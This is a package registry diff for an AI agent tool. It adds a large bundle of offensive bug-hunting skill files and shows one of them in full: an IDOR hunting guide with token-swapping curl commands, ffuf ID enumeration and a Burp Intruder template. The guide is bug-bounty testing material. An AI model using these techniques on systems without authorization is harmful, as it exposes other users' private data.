@hostclubeos/miraos 0.0.5-beta → 0.0.6-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (219) hide show
  1. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
  2. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
  3. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
  4. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
  5. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
  6. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
  7. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
  8. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
  9. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
  10. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
  11. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
  12. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
  13. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
  14. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
  15. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
  16. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
  17. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
  18. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
  19. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
  20. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
  21. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
  22. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
  23. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
  24. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
  25. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
  26. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
  27. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
  28. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
  29. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
  30. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
  31. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
  32. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
  33. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
  34. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
  35. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
  36. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
  37. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
  38. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
  39. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
  40. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
  41. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
  42. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
  43. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
  44. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
  45. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
  46. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
  47. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
  48. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
  49. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
  50. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
  51. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
  52. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
  53. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
  54. package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
  55. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
  56. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
  57. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
  58. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
  59. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
  60. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
  61. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
  62. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
  63. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
  64. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
  65. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
  66. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
  67. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
  68. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
  69. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
  70. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
  71. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
  72. package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
  73. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
  74. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
  75. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
  76. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
  77. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
  78. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
  79. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
  80. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
  81. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
  82. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
  83. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
  84. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
  85. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
  86. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
  87. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
  88. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
  89. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
  90. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  91. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
  92. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
  93. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
  94. package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
  95. package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
  96. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
  97. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
  98. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
  99. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
  100. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
  101. package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
  102. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
  103. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
  104. package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
  105. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
  106. package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
  107. package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
  108. package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-OGBFWA5R.js} +2 -2
  109. package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
  110. package/chunks/{chunk-NYM67KKZ.js → chunk-34YXJ3CX.js} +1 -1
  111. package/chunks/{chunk-FXANOHXI.js → chunk-3GA3NTAV.js} +3 -3
  112. package/chunks/{chunk-MUS4ADP7.js → chunk-5JKJSIIP.js} +1 -1
  113. package/chunks/{chunk-N4RIISOE.js → chunk-7JT2V4AW.js} +1 -1
  114. package/chunks/{chunk-4IVYVCCU.js → chunk-BB2C4HKQ.js} +1 -1
  115. package/chunks/{chunk-SK3QOQR4.js → chunk-F2XELUO3.js} +1 -1
  116. package/chunks/{chunk-RKFNQQNA.js → chunk-GPI53DWB.js} +1 -1
  117. package/chunks/{chunk-744QTJR2.js → chunk-HHSHBOT7.js} +2 -2
  118. package/chunks/{chunk-PXBJPUGN.js → chunk-HMID4D72.js} +1 -1
  119. package/chunks/{chunk-MQWKOOSR.js → chunk-IC2WDA6V.js} +1 -1
  120. package/chunks/{chunk-2TDRP3IX.js → chunk-JRPR5IME.js} +1 -1
  121. package/chunks/{chunk-2GVKPBW5.js → chunk-ORVQPZMQ.js} +1 -1
  122. package/chunks/{chunk-FRADUGRC.js → chunk-RGVXNWZA.js} +1 -1
  123. package/chunks/{chunk-QEIX42MZ.js → chunk-SHLTP6ZB.js} +1 -1
  124. package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
  125. package/chunks/{chunk-NKWATWMD.js → chunk-TI7J4HX2.js} +1 -1
  126. package/chunks/{chunk-62DMHXLL.js → chunk-VGPV5AVJ.js} +1 -1
  127. package/chunks/{chunk-XZNF4YNN.js → chunk-Y3BCVTFB.js} +1 -1
  128. package/chunks/{chunk-D3YOXHQF.js → chunk-YVORE4W4.js} +1 -1
  129. package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-FCQ4YYAY.js} +1 -1
  130. package/chunks/{fast-path-DWPD5EGQ.js → fast-path-ZBD7IYQM.js} +1 -1
  131. package/chunks/{llm-RBI7KXDE.js → llm-DQNQEAFW.js} +3 -3
  132. package/chunks/{local-HSG47CNJ.js → local-ZRC4XZCJ.js} +1 -1
  133. package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-B2KOLPB5.js} +1 -1
  134. package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-MREL5UC2.js} +1 -1
  135. package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-GUKAZFAJ.js} +1 -1
  136. package/chunks/{memory-JTDN5AEA.js → memory-ZYPCFYPF.js} +1 -1
  137. package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-JG6PKBAD.js} +1 -1
  138. package/chunks/{review-PC4IDLCG.js → review-N3VFZQMI.js} +1 -1
  139. package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-4MZRQFXK.js} +1 -1
  140. package/chunks/{serve-JCUT4WK7.js → serve-EQN6QAXF.js} +1 -1
  141. package/chunks/{server-HMTRZJF7.js → server-CCEHAI25.js} +1 -1
  142. package/chunks/{session-RGLZU6KY.js → session-HNUJSV5A.js} +1 -1
  143. package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-6MCAEWAW.js} +1 -1
  144. package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-657JWOTK.js} +1 -1
  145. package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-CP5WFNAE.js} +1 -1
  146. package/chunks/{version-XCFKTEY3.js → version-SIM74L5K.js} +1 -1
  147. package/cli.js +1 -1
  148. package/export-transcript-document.js +1 -1
  149. package/package.json +3 -3
  150. package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
  151. package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
  152. package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
  153. package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
  154. package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
  155. package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
  156. package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
  157. package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
  158. package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
  159. package/web-shell/assets/channel-CoZByzPk.js +1 -0
  160. package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
  161. package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
  162. package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
  163. package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
  164. package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
  165. package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
  166. package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
  167. package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
  168. package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
  169. package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
  170. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
  171. package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
  172. package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
  173. package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
  174. package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
  175. package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
  176. package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
  177. package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
  178. package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
  179. package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
  180. package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
  181. package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
  182. package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
  183. package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
  184. package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
  185. package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
  186. package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
  187. package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
  188. package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
  189. package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
  190. package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
  191. package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
  192. package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
  193. package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
  194. package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
  195. package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
  196. package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
  197. package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
  198. package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
  199. package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
  200. package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
  201. package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
  202. package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
  203. package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
  204. package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
  205. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
  206. package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
  207. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
  208. package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
  209. package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
  210. package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
  211. package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
  212. package/web-shell/index.html +1 -1
  213. package/web-shell/sw.js +1 -1
  214. package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
  215. package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
  216. package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
  217. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
  218. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
  219. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
@@ -0,0 +1,389 @@
1
+ ---
2
+ name: hunt-idor
3
+ description: Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.
4
+ sources: github, hackerone_public
5
+ report_count: 39
6
+ ---
7
+
8
+ ## Crown Jewel Targets
9
+
10
+ **Why IDOR pays big:**
11
+ - Direct access to other users' data without authentication bypass — clear, demonstrable impact
12
+ - Chains easily with privilege escalation, financial fraud, and account takeover
13
+ - Affects virtually every application with user-owned resources
14
+
15
+ **Highest-value asset types (by payout potential):**
16
+
17
+ | Asset Type | Why It Pays |
18
+ |---|---|
19
+ | Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
20
+ | Private repositories / source code | IP theft, critical data loss (GitHub) |
21
+ | User messages / DMs | Privacy violation at scale (Reddit) |
22
+ | Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
23
+ | Business/org administration | Cross-tenant escalation, employee PII (Uber) |
24
+ | Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
25
+
26
+ **Programs that pay most for IDOR:**
27
+ - Platforms with multi-tenancy (SaaS, B2B tools)
28
+ - Fintech and payment processors
29
+ - Social platforms with private content
30
+ - Developer tools with org/repo isolation
31
+
32
+ ---
33
+
34
+ ## Attack Surface Signals
35
+
36
+ **URL patterns that scream IDOR:**
37
+ ```
38
+ /api/v1/users/{id}/
39
+ /api/v*/orders/{order_id}
40
+ /invoices/download?id=
41
+ /reports/{uuid}/
42
+ /messages/{thread_id}
43
+ /admin/orgs/{org_id}/members
44
+ /migration/{migration_id}/files
45
+ /graphql (query params with IDs)
46
+ /api/business/{business_id}/
47
+ /vouchers/{voucher_id}/policy
48
+ ```
49
+
50
+ **Response header signals:**
51
+ - `Content-Type: application/json` on endpoints accepting raw IDs
52
+ - No `X-Frame-Options` or CORS misconfigs paired with ID params
53
+ - `Authorization: Bearer` tokens that are user-scoped but hit org-level resources
54
+
55
+ **JavaScript source patterns:**
56
+ ```javascript
57
+ // Look for hardcoded or interpolated IDs in JS
58
+ fetch(`/api/v1/users/${userId}/profile`)
59
+ axios.get('/invoices/' + invoiceId)
60
+ graphql query { billingDocument(id: $docId) }
61
+ // Redux/state stores exposing foreign IDs
62
+ state.currentUser.organizationId
63
+ ```
64
+
65
+ **Tech stack signals:**
66
+ - GraphQL endpoints (query-based IDORs are often missed)
67
+ - REST APIs with sequential integer IDs (most vulnerable)
68
+ - UUIDs that are predictable or leaked in other responses
69
+ - Multi-tenant SaaS apps with `org_id`, `account_id`, `business_id` params
70
+ - Mobile apps (Burp the APK — mobile APIs often skip authorization checks)
71
+
72
+ ---
73
+
74
+ ## Step-by-Step Hunting Methodology
75
+
76
+ 1. **Map all object references in the application**
77
+ - Browse every feature authenticated as User A
78
+ - Capture all requests in Burp Suite
79
+ - Filter for requests containing: `id=`, `_id=`, `uuid=`, `/v1/{noun}/{id}`, query params with numeric/UUID values
80
+
81
+ 2. **Enumerate ID types**
82
+ - Sequential integers → enumerate ±1, ±100
83
+ - UUIDs → check if they appear in other responses or JS files
84
+ - Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection
85
+
86
+ 3. **Create two separate accounts (same privilege level)**
87
+ - User A: resource owner
88
+ - User B: attacker account
89
+ - Log all IDs belonging to User A while authenticated as User A
90
+
91
+ 4. **Replay User A's resource IDs as User B**
92
+ - Replace session cookie/token with User B's credentials
93
+ - Send identical requests referencing User A's object IDs
94
+ - Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint
95
+
96
+ 5. **Test cross-tenant/cross-org scenarios**
97
+ - Create accounts in separate organizations/businesses
98
+ - Test if Org B's session can reference Org A's IDs
99
+ - Pay special attention to admin/management endpoints
100
+
101
+ 6. **Test GraphQL specifically**
102
+ - Run introspection: `{ __schema { queryType { fields { name } } } }`
103
+ - For every query/mutation taking an `id` argument, substitute another user's ID
104
+ - Test both queries (read) and mutations (write/delete)
105
+
106
+ 7. **Test write/destructive operations, not just reads**
107
+ - Can User B DELETE User A's resources?
108
+ - Can User B MODIFY User A's content?
109
+ - Can User B ADD themselves to User A's account?
110
+
111
+ 8. **Chain IDORs together**
112
+ - Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
113
+ - IDOR → leaked ID → second IDOR → privilege escalation
114
+
115
+ 9. **Test state-changing edge cases**
116
+ - Expired tokens/invites that can still be accepted
117
+ - Race conditions on resource IDs
118
+ - Indirect references: `?sort=id` or `?filter[user_id]=`
119
+
120
+ 10. **Document the exact differential**
121
+ - Confirm User B has NO legitimate access to User A's resource
122
+ - Screenshot/log the 200 OK vs expected 403/404
123
+
124
+ ---
125
+
126
+ ## Payload & Detection Patterns
127
+
128
+ **Basic IDOR test with curl (swap cookie/token):**
129
+ ```bash
130
+ # Get User A's resource ID while authenticated as A
131
+ curl -s -H "Cookie: session=USER_A_SESSION" \
132
+ https://target.com/api/v1/invoices/12345
133
+
134
+ # Replay with User B's session
135
+ curl -s -H "Cookie: session=USER_B_SESSION" \
136
+ https://target.com/api/v1/invoices/12345
137
+
138
+ # Success = 200 OK with User A's data
139
+ ```
140
+
141
+ **GraphQL IDOR test:**
142
+ ```bash
143
+ curl -s -X POST https://target.com/graphql \
144
+ -H "Authorization: Bearer USER_B_TOKEN" \
145
+ -H "Content-Type: application/json" \
146
+ -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
147
+ ```
148
+
149
+ **Enumerate sequential IDs with ffuf:**
150
+ ```bash
151
+ ffuf -u "https://target.com/api/v1/orders/FUZZ" \
152
+ -w ids.txt \
153
+ -H "Authorization: Bearer USER_B_TOKEN" \
154
+ -mc 200 \
155
+ -o idor_results.json
156
+ ```
157
+
158
+ **Generate sequential ID wordlist:**
159
+ ```python
160
+ # Generate IDs around a known value
161
+ known_id = 48291
162
+ with open("ids.txt", "w") as f:
163
+ for i in range(known_id - 500, known_id + 500):
164
+ f.write(str(i) + "\n")
165
+ ```
166
+
167
+ **Burp Intruder payload for IDOR scanning:**
168
+ ```
169
+ GET /api/messages/§12345§ HTTP/1.1
170
+ Host: target.com
171
+ Authorization: Bearer USER_B_TOKEN
172
+
173
+ # Mark §12345§ as injection point
174
+ # Use numeric sequential payload: 12000-13000
175
+ # Filter responses by length difference or status 200
176
+ ```
177
+
178
+ **JavaScript scraping for leaked IDs:**
179
+ ```bash
180
+ # Find IDs in JS bundles
181
+ curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
182
+
183
+ # Find object references in API responses
184
+ curl -s -H "Cookie: session=USER_A" \
185
+ https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
186
+ ```
187
+
188
+ **Grep patterns for source code review:**
189
+ ```bash
190
+ # Missing authorization checks in common frameworks
191
+ grep -r "findById\|findOne\|getById" --include="*.js" .
192
+ grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
193
+ grep -r "request\.args\.get\('id'\)" --include="*.py" .
194
+
195
+ # Look for direct ORM queries without user scoping
196
+ grep -r "Model\.find(params" --include="*.js" .
197
+ # vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
198
+ ```
199
+
200
+ **IDOR via HTTP method tampering:**
201
+ ```bash
202
+ # Try undocumented methods
203
+ for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
204
+ echo "=== $method ==="
205
+ curl -s -X $method \
206
+ -H "Authorization: Bearer USER_B_TOKEN" \
207
+ https://target.com/api/v1/users/USER_A_ID/profile
208
+ done
209
+ ```
210
+
211
+ ---
212
+
213
+ ## Common Root Causes
214
+
215
+ 1. **Missing ownership check in ORM queries**
216
+ ```javascript
217
+ // VULNERABLE: fetches any record
218
+ const invoice = await Invoice.findById(req.params.id);
219
+
220
+ // SECURE: scopes to authenticated user
221
+ const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
222
+ ```
223
+
224
+ 2. **Authorization at the route level, not object level**
225
+ - Developer checks "is user logged in?" but not "does this user own this object?"
226
+ - Middleware confirms authentication; individual handlers skip ownership validation
227
+
228
+ 3. **Trusting client-supplied IDs in request bodies**
229
+ - Mobile apps or SPAs send `org_id` in POST body; server uses it directly without verifying caller belongs to that org
230
+
231
+ 4. **GraphQL resolvers without field-level authorization**
232
+ - Query resolvers fetch by ID from database without checking if the requesting user has permission
233
+ - Especially common when resolvers are auto-generated from schema
234
+
235
+ 5. **Inconsistent authorization across HTTP verbs**
236
+ - GET endpoint is protected; POST/DELETE on same resource path is not
237
